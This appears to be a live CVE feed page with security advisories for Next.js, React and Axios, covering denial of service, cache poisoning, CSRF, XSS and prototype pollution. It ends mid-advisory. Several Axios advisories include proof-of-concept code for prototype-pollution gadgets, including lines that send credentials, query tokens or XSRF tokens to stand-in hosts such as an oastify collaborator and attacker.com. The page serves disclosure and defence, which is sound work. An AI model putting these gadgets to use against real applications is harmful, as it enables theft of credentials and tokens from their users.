Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

37threats · Next.js · Medium· page 1/2
Get guardrails →

Next.js: Denial of Service in the Image Optimization API using SVGs

Impact When self-hosting Next.js with the default image loader, the Image Optimization API can optimize remotely hosted images if configured (not enabled by default). If those images contain malicious content, they can cause CPU exhaustion in /_next/image endpoints. If you are using config.images.remotePatterns, only the patterns in that array are impacted. If you are using config.images.unoptimized: true, you are NOT impacted. If you are using config.images.loader: 'custom', you are NOT impacted. If you are using Vercel, you are NOT impacted. Workarounds If you cannot upgrade immediately, you can avoid the expensive work by setting config.experimental.imgOptSkipMetadata : true.

Next.js vulnerable to cache poisoning in React Server Component responses

Impact Applications using React Server Components can be vulnerable to cache poisoning when shared caches do not correctly partition response variants. Under affected conditions, an attacker can cause an RSC response to be served from the original URL and poison shared cache entries so later visitors receive component payloads instead of the expected HTML. Fix We now validate and interpret RSC request headers consistently across request classification and rendering, and we enforce the intended cache-busting behavior so RSC payloads are not unexpectedly served from the original URL. Workarounds If you cannot upgrade immediately, ensure your CDN or reverse proxy keys on the relevant RSC request headers and honors Vary, or disable shared caching for affected App Router and RSC responses.

Next.js: null origin can bypass Server Actions CSRF checks

Summary origin: null was treated as a "missing" origin during Server Action CSRF validation. As a result, requests from opaque contexts (such as sandboxed iframes) could bypass origin verification instead of being validated as cross-origin requests. Impact An attacker could induce a victim browser to submit Server Actions from a sandboxed context, potentially executing state-changing actions with victim credentials (CSRF). Patches Fixed by treating 'null' as an explicit origin value and enforcing host/origin checks unless 'null' is explicitly allowlisted in experimental.serverActions.allowedOrigins. Workarounds If upgrade is not immediately possible: Add CSRF tokens for sensitive Server Actions. Prefer SameSite=Strict on sensitive auth cookies. Do not allow 'null' in serverActions.allowedOrigins unless intentionally required and additionally protected.

OWASP A08OWASP Web
Get guardrail →

Next.js has Unbounded Memory Consumption via PPR Resume Endpoint

A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the Next-Resume: 1 header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion: 1. Unbounded request body buffering: The server buffers the entire POST request body into memory using Buffer.concat() without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory. 2. Unbounded decompression (zipbomb): The resume data cache is decompressed using inflateSync() without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion. Both attack vectors result in a fatal V8 out-of-memory error (FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server. To be affected, an application must run with experimental.ppr: true or cacheComponents: true configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable. Strongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Next Server Actions Source Code Exposure

A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55183. A malicious HTTP request can be crafted and sent to any App Router endpoint that can return the compiled source code of Server Functions. This could reveal business logic, but would not expose secrets unless they were hardcoded directly into Server Function code.

OWASP A08LLM05 · Supply ChainOWASP Web
Get guardrail →

Source Code Exposure Vulnerability in React Server Components

Impact There is a source code exposure vulnerability in React Server Components. React recommends updating immediately. The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack These issues are present in the patches published last week. Patches Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2. If you are using any of the above packages please upgrade to any of the fixed versions immediately. If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability. References See the blog post for more information and upgrade instructions.

OWASP A08LLM05 · Supply ChainOWASP Web
Get guardrail →

Axios: Nested axios option objects can consume polluted prototype values

Summary Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype. The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests. Impact This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object. Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued. The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode. This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget. Affected Functionality Affected runtime functionality: Node HTTP adapter Basic auth handling in lib/adapters/http.js. Browser/fetch/XHR Basic auth handling through lib/helpers/resolveConfig.js. Query serialization through lib/helpers/buildURL.js. axios.getUri() when called with an affected paramsSerializer object. Affected config shapes: auth: {} or an auth object missing own username and/or password. paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize. Unaffected by this specific issue: Requests with no auth property. Requests with no paramsSerializer property. Top-level polluted auth or paramsSerializer values in current hardened versions. Technical Details lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers: ``js } else if (utils.isPlainObject(source)) { return utils.merge({}, source); } ` Downstream code then reads nested fields without own-property checks. In lib/helpers/resolveConfig.js: `js btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ` In lib/adapters/http.js: `js const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; ` In lib/helpers/buildURL.js: `js const _encode = (options && options.encode) || encode; const serializeFn = _options && _options.serialize; ` Proof of Concept of Attack `js import http from 'node:http'; import axios from './index.js'; const user = 'attacker'; const pass = 'exfil'; Object.defineProperty(Object.prototype, 'username', { value: user, configurable: true }); Object.defineProperty(Object.prototype, 'password', { value: pass, configurable: true }); Object.defineProperty(Object.prototype, 'serialize', { value: () => 'polluted=1', configurable: true }); const server = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ authorization: req.headers.authorization || null, url: req.url })); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); try { const port = server.address().port; const response = await axios.get(http://127.0.0.1:${port}/demo, { auth: {}, paramsSerializer: {}, params: { unused: 'ignored' } }); console.log(response.data); } finally { await new Promise((resolve) => server.close(resolve)); delete Object.prototype.username; delete Object.prototype.password; delete Object.prototype.serialize; } ` Observed result: `json { "authorization": "Basic YXR0YWNrZXI6ZXhmaWw=", "url": "/demo?polluted=1" } ` Workarounds If upgrading is not yet possible, avoid passing placeholder nested option objects. Remove auth entirely when Basic auth is not intended. For paramsSerializer objects, provide explicit own encode and serialize properties or remove paramsSerializer when custom serialization is not required. These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process. <details> <summary>Original Report</summary> Summary axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. Details mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers: mergeConfig.js Lines 36-45 ` function getMergedValue(target, source, prop, caseless) { if (utils.isPlainObject(target) && utils.isPlainObject(source)) { return utils.merge.call({ caseless }, target, source); } else if (utils.isPlainObject(source)) { return utils.merge({}, source); } else if (utils.isArray(source)) { return source.slice(); } return source; } ` The cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard: Browser / fetch Basic auth — lib/helpers/resolveConfig.js: resolveConfig.js Lines 64-70 ` if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } ` Node HTTP adapter Basic auth — lib/adapters/http.js: http.js Lines 829-836 ` // HTTP basic authentication let auth = undefined; const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ` paramsSerializer reads — lib/helpers/buildURL.js: buildURL.js Lines 31-54 ` export default function buildURL(url, params, options) { if (!params) { return url; } const _encode = (options && options.encode) || encode; const _options = utils.isFunction(options) ? { serialize: options, } : options; const serializeFn = _options && _options.serialize; let serializedParams; if (serializeFn) { serializedParams = serializeFn(params, _options); } else { serializedParams = utils.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams(params, _options).toString(_encode); } ` Because auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request. The auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string. PoC ` import http from 'node:http'; import axios from '../../index.js'; const ATTACKER_USER = 'attacker'; const ATTACKER_PASS = 'exfil'; const ATTACKER_BASIC = Buffer.from(${ATTACKER_USER}:${ATTACKER_PASS}).toString('base64'); // Step 1: simulate a pre-existing prototype-pollution primitive in this process. // In reality, a separate dependency would have done this. We keep the // "polluted" properties non-enumerable so they only affect inherited reads, // which is the realistic shape of most prototype-pollution gadgets. Object.defineProperty(Object.prototype, 'username', { value: ATTACKER_USER, configurable: true, }); Object.defineProperty(Object.prototype, 'password', { value: ATTACKER_PASS, configurable: true, }); Object.defineProperty(Object.prototype, 'serialize', { value: () => 'polluted=1', configurable: true, }); // Local capture server. const server = http.createServer((req, res) => { const captured = { authorization: req.headers['authorization'] || null, url: req.url, }; res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify(captured)); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; try { // Application code: passes nested placeholder option objects that have // no own auth/serializer properties. Without prototype pollution this is // a no-op. With prototype pollution it becomes attacker-controlled state. const response = await axios.get(http://127.0.0.1:${port}/demo, { auth: {}, paramsSerializer: {}, params: { unused: 'ignored-by-polluted-serializer' }, }); console.log('--- PoC: nested-option prototype-pollution gadgets ---'); console.log('Server saw:', JSON.stringify(response.data)); const authLeaked = response.data.authorization === Basic ${ATTACKER_BASIC}; const urlRewritten = response.data.url === '/demo?polluted=1'; if (authLeaked && urlRewritten) { console.log( 'VULNERABLE: nested auth + paramsSerializer inherited polluted ' + 'Object.prototype values into the outbound request.' ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: nested option objects did not leak prototype state.'); console.log(' authLeaked =', authLeaked); console.log(' urlRewritten =', urlRewritten); process.exitCode = 1; } } finally { server.close(); // Restore Object.prototype so a noisy exit/process state cannot affect // anything else accidentally sharing the runtime. delete Object.prototype.username; delete Object.prototype.password; delete Object.prototype.serialize; } `` Impact Concrete consequences: Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams. Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line. <details>

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Axios: Prototype pollution gadgets can alter axios request construction

Summary axios is vulnerable to read-side prototype-pollution gadgets when Object.prototype has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: axios.get(), axios.delete(), axios.head(), and axios.options() read inherited data before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body. Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited proxy or paramsSerializer values can influence request routing or URL serialization. These low-level paths are not reproduced through normal axios.get() usage on 1.15.2+. Impact An attacker who can first pollute Object.prototype can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on GET, DELETE, HEAD, or OPTIONS. For direct low-level Node HTTP adapter usage, inherited proxy can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification. For direct resolveConfig or browser-adapter helper usage, inherited paramsSerializer can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on 1.15.2+. Affected Functionality Affected normal API: axios.get(url[, config]) axios.delete(url[, config]) axios.head(url[, config]) axios.options(url[, config]) Affected low-level usage: Direct calls to axios/lib/adapters/http.js or axios/unsafe/adapters/http.js with plain configs and no own proxy. Direct calls to axios/unsafe/helpers/resolveConfig.js or direct browser adapter/helper paths with plain configs and no own paramsSerializer. Unaffected or corrected scope: Normal axios.get() calls on 1.15.2+ did not reproduce the proxy or paramsSerializer gadgets because mergeConfig() returns a null-prototype config and uses own-property reads. Technical Details lib/core/Axios.js constructs aliases for bodyless methods and copies data with (config || {}).data before config normalization. If Object.prototype.data is polluted, this inherited value becomes an own data property in the merged request config and is sent by the adapter. lib/core/mergeConfig.js in 1.15.2+ returns a null-prototype config and uses hasOwnProp guards, which prevents normal high-level requests from inheriting polluted proxy and paramsSerializer values after merge. This is why those two reporter claims do not reproduce through normal axios.get() on 1.15.2 or 1.16.1. The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of config.proxy in the Node HTTP adapter and config.paramsSerializer in affected resolveConfig() versions can consume inherited polluted values. Proof of Concept of Attack ``js import http from 'http'; import axios from 'axios'; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { res.writeHead(200, {'content-type': 'application/json'}); res.end(JSON.stringify({body, headers: req.headers})); }); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.data = 'INJECTED'; try { const res = await axios.get(http://127.0.0.1:${server.address().port}/data); console.log(res.data.body); // "INJECTED" console.log(res.data.headers['content-length']); // "8" } finally { delete Object.prototype.data; await new Promise(resolve => server.close(resolve)); } ` Expected result: a request body is sent even though the caller did not explicitly set config.data. Workarounds Avoid processing untrusted input with libraries or code paths that can pollute Object.prototype. As a defense-in-depth mitigation before an axios fix is available, explicitly pass data: undefined on bodyless method aliases when running in a process where prototype pollution is a concern. <details> <summary>Original Report</summary> Summary Three prototype pollution read-side gadgets in axios bypass the own() hasOwnProp guard pattern, allowing a polluted Object.prototype to hijack outbound requests. Details The own() helper was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed: config.proxy at http.js:715 goes straight into setProxy(). A polluted Object.prototype.proxy reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs. (config || {}).data at Axios.js:248 covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing. config.paramsSerializer at resolveConfig.js:32 is three lines below the own() definition that was supposed to protect it. A polluted function onto Object.prototype.paramsSerializer gets called with the request params on every request that has query strings. I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use hasOwnProp guards. These three seem to predate or were missed by that coverage. PoC Ran against axios@1.15.2 on node:22-slim in Docker. Clean install, no other deps. `javascript import axios from 'axios'; // gadget 1 - proxy Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' }; await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } }); // check collaborator - request arrives with full path + auth header ` `javascript // gadget 2 - data on bodyless methods Object.prototype.data = '{"injected":true}'; await axios.get('https://api.example.com/items'); await axios.delete('https://api.example.com/items/1'); await axios.head('https://api.example.com/items'); // 3/4 methods send the polluted body ` `javascript // gadget 3 - paramsSerializer Object.prototype.paramsSerializer = (p) => { fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p)); return 'q=x'; }; await axios.get('https://api.example.com/search', { params: { token: 'secret' } }); ` Impact Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or paramsSerializer` directly. </details>

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Next.js: Cache confusion of response bodies for requests with bodies

Impact A server-side fetch with a request body may return a cached response body from a different request to the same URL but different body. Confidential data in the POST's response body would then leak to unauthorized requests. Though the request itself will not be deduped. This only applies to fetch calls with a request that has a different init than the one passed to fetch. Safe: fetch(new Request(init), init) Unsafe: fetch(new Request(init), aDifferentInit) Workarounds No workaround exists besides upgrading. Applications using Pages Router are not vulnerable.

Next.js: Cache confusion of response bodies for requests with bodies containing invalid UTF-8 byte sequences

Impact A server-side fetch with a request body may return a cached response body from a different request to the same URL but different body. Confidential data in the POST's response body would then leak to unauthorized requests. Though the request itself will not be deduped. This is only an issue when receiving request bodies with a content type charset other than UTF-8. For example, the UTF-16 byte sequences for 삃삃 and 섄섄 in the request body would share the same cache. Workarounds If you cannot upgrade, consider only making fetch requests with UTF-8 bodies (default in Next.js). Applications using Pages Router are not vulnerable.

OWASP A05LLM05 · Supply ChainOWASP Web
Get guardrail →

Next.js: Unbounded Server Action payload in Edge runtime

Impact Requests targeting Next.js applications using App Router with at least one Server Action can lead to excessive memory consumption if that Server Actions uses the Edge runtime Workarounds If you cannot upgrade, ensure your hosting provider limits the request's body size. 5 MiB should be allowed at max by your hosting provider.

Next.js: Unauthenticated disclosure of internal Server Function endpoints

Impact In Next.js applications using App Router, Server Actions (use server) or use cache endpoints can be disclosed bypassing any authentication on the pages where these endpoints are usually used. Server Action IDs can be disclosed to unauthenticated users via publicly served client artifacts (for example, static chunks containing action references). Affected users are applications using App Router + Server Actions. By itself, this disclosure is typically a recon/enumeration primitive; however, it can increase risk when combined with other weaknesses. Workarounds Never assume any authentication claims at the use cache or use server boundary. Always authenticate within the boundary.

2 rules

Next.js vulnerable to cross-site scripting in App Router applications using CSP nonces

Impact App Router applications that rely on CSP nonces can be vulnerable to stored cross-site scripting when deployed behind shared caches. In affected versions, malformed nonce values derived from request headers could be reflected into rendered HTML in an unsafe way, allowing an attacker to poison cached responses and cause script execution for later visitors. Fix We now reject or ignore malformed nonce values before they are embedded into HTML and apply stricter nonce sanitization so request-derived nonce data cannot break out of the intended attribute context. Workarounds If you cannot upgrade immediately, strip inbound Content-Security-Policy request headers from untrusted traffic.

OWASP A03OWASP Web
Get guardrail →
2 rules

Next.js has cross-site scripting in beforeInteractive scripts with untrusted input

Impact Applications that use beforeInteractive scripts together with untrusted content can be vulnerable to cross-site scripting. In affected versions, serialized script content was not escaped safely before being embedded into the document, which could allow attacker-controlled input to break out of the intended script context and execute arbitrary JavaScript in a visitor's browser. Fix We now HTML-escape serialized beforeInteractive script content before embedding it into the page, preventing attacker-controlled content from breaking out of the inline script boundary. Workarounds If you cannot upgrade immediately, do not pass untrusted data into beforeInteractive scripts. If that pattern is unavoidable, sanitize or escape the content before embedding it.

OWASP A03OWASP Web
Get guardrail →
2 rules

Next.js has a Denial of Service in the Image Optimization API

Impact When self-hosting Next.js with the default image loader, the Image Optimization API fetches local images entirely into memory without enforcing a maximum size limit. An attacker could cause out-of-memory conditions by requesting large local assets from the /_next/image endpoint that match the images.localPatterns configuration (by default, all patterns are allowed). If you are using images.localPatterns, only the patterns in that array are impacted. If you are using images.unoptimized: true, you are NOT impacted. If you are using images.loader: 'custom', you are NOT impacted. If you are using Vercel, you are NOT impacted. Fix We now apply response size limits consistently to internal image fetches, not just external ones, and fail oversized responses before they can exhaust process memory. This can be adjusted using the images.maximumResponseBody configuration. Workarounds If you cannot upgrade immediately, avoid routing large local assets through /_next/image, disable image optimization for large or untrusted local files, or block image optimization access to those assets at the edge. You can disable using the images.localPatterns: [] configuration. This will still allow fetching remote images (which is not impacted).

8 rules

axios has DoS & Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions

Summary axios 1.15.2 exposes two read-side prototype-pollution gadgets. When Object.prototype is polluted by an upstream dependency in the same process (e.g. lodash _.merge / CVE-2018-16487), axios silently picks up the polluted values: 1. Header injection - lib/utils.js line 406 builds merge()'s accumulator as result = {}, so result[targetKey] (line 414) walks Object.prototype and the polluted bucket's own keys are copied into the merged headers and ride out on the wire. 2. Crash DoS - lib/core/mergeConfig.js line 26 builds the hasOwnProperty descriptor as a plain-object literal. Object.defineProperty reads descriptor.get/descriptor.set via the prototype chain, so a polluted Object.prototype.get or Object.prototype.set makes the call throw TypeError synchronously on every axios request. Affected Properties | Polluted slot | Effect | |---|---| | Object.prototype.common | injects headers on every method | | Object.prototype.delete / .head / .post / .put / .patch / .query | injects headers on the matching method | | Object.prototype.get | every axios request throws TypeError: Getter must be a function from mergeConfig.js:26 | | Object.prototype.set | every axios request throws TypeError: Setter must be a function from mergeConfig.js:26 | Per-request headers (axios.request(url, { headers: {...} })) overwrite polluted entries. Polluting Object.prototype.get triggers the crash before any header is built. Proof of Concept ``javascript const axios = require('axios'); // Finding A - header injection Object.prototype.common = { 'X-Poisoned': 'yes' }; await axios.get('http://api.example.com/users'); // Wire request carries X-Poisoned: yes. // Finding B - crash DoS Object.prototype.get = { something: 'anything' }; await axios.get('http://api.example.com/users'); // TypeError: Getter must be a function: #<Object> // at Function.defineProperty (<anonymous>) // at mergeConfig (lib/core/mergeConfig.js:26:10) ` Impact Server hang (Content-Length: 99999): receiver waits for a body that never arrives. Affects requests with a body. CL+TE conflict (Transfer-Encoding: chunked rides alongside axios's auto Content-Length): receiver rejects with 400 Bad Request. Affects requests with a body. Response suppression (If-None-Match: ): receiver returns empty 304 Not Modified. Affects GET / HEAD. Crash DoS (Object.prototype.get / .set): every axios request fails synchronously with TypeError, not AxiosError, so handlers filtering on error.isAxiosError mishandle the failure. Attack Flow `mermaid flowchart TD ROOT["Polluted Object.prototype<br/>via upstream gadget (e.g. lodash &lt;= 4.17.10 _.merge / CVE-2018-16487)<br/>axios &lt;= 1.15.2"] ROOT --> CLASS_A["A. Arbitrary HTTP Header Injection<br/>Polluted defaults.headers slot rides along on every outbound axios request"] ROOT --> CLASS_B["B. Crash DoS via Object.prototype.get / .set<br/>Polluted descriptor breaks Object.defineProperty in mergeConfig"] CLASS_A --> PRE_A["Precondition: header not set per-request by the app<br/>Injected via defaults.headers slot<br/>(common, delete, head, post, put, patch, query)"] PRE_A --> PA1["Response Suppression<br/>Trigger: common = {If-None-Match: }<br/>Affects GET / HEAD"] PA1 --> SA1["DoS<br/>304 Not Modified empty"] PRE_A --> PA2["Server Hang<br/>Trigger: common = {Content-Length: 99999}<br/>Affects requests with body"] PA2 --> SA2["DoS<br/>connection hang"] PRE_A --> PA3["CL+TE Conflict<br/>Trigger: common = {Transfer-Encoding: chunked}<br/>Affects requests with body"] PA3 --> SA3["DoS<br/>400 Bad Request"] CLASS_B --> SB1["DoS<br/>TypeError: Getter / Setter must be a function<br/>Crashes every axios request, not only GET"] %% Styles style ROOT fill:#f87171,stroke:#991b1b,color:#fff style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b style PA1 fill:#fbbf24,stroke:#92400e,color:#000 style PA2 fill:#fbbf24,stroke:#92400e,color:#000 style PA3 fill:#fbbf24,stroke:#92400e,color:#000 style SA1 fill:#ef4444,stroke:#991b1b,color:#fff style SA2 fill:#ef4444,stroke:#991b1b,color:#fff style SA3 fill:#ef4444,stroke:#991b1b,color:#fff style SB1 fill:#ef4444,stroke:#991b1b,color:#fff ` Root Cause Finding A. lib/utils.js:404-429's merge() creates result = {} at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (isPlainObject(result[targetKey])) still walks the prototype chain. When targetKey matches a polluted slot, result[targetKey] returns the polluted nested object, and the recursive merge(result[targetKey], val) on line 415 iterates that object's own keys via forEach and copies them as own properties into the new accumulator. Those keys flow through mergeConfig.js:35 → Axios.js:148 (utils.merge(headers.common, headers[config.method])) → Axios.js:155 (AxiosHeaders.concat(...)) → onto the wire via http.js:677 (headers: headers.toJSON()) → http.js:767 (transport.request(options, ...)). Finding B. lib/core/mergeConfig.js:25 correctly makes config = Object.create(null), but the descriptor passed on line 26 is a plain-object literal - its get/set lookups walk Object.prototype. A polluted non-function Object.prototype.get or .set makes Object.defineProperty throw TypeError: Getter must be a function (or Setter must be a function) before the call returns. The descriptor is built unconditionally on every mergeConfig invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET. Suggested Fix Use null-prototype objects in place of the plain-object literals at lib/utils.js:406 and lib/core/mergeConfig.js:26-31. The same descriptor pattern recurs at lib/core/AxiosError.js:37, lib/core/AxiosHeaders.js:100, lib/utils.js:447/454/492/498, and lib/adapters/adapters.js:28/32. Resources CVE-2018-16487 - lodash.merge prototype pollution in lodash <= 4.17.10` CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →
8 rules

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion Summary The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true) CWE CWE-201: Insertion of Sensitive Information Into Sent Data CWE-183: Permissive List of Allowed Inputs CVSS 3.1 Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input when triggered via prototype pollution. If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination. Vulnerable Code File: lib/helpers/resolveConfig.js, lines 57-66 ``javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); // Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } ` Designed behavior: true → always send token (explicit cross-origin opt-in) false → never send token undefined → send only for same-origin requests Actual behavior for non-boolean truthy values (1, "false", {}, []): All treated as truthy → same-origin check skipped → token sent everywhere Proof of Concept `javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1; // In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers ` Verified PoC Output ` withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited) ` Impact Analysis XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP Limitations: Browser-only (XSRF logic runs only in hasStandardBrowserEnv) XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking Attacker still needs a way to deliver the forged request after obtaining the token Recommended Fix Use strict boolean comparison: `javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url)); if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } `` Resources CWE-201: Insertion of Sensitive Information Into Sent Data CWE-183: Permissive List of Allowed Inputs GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented 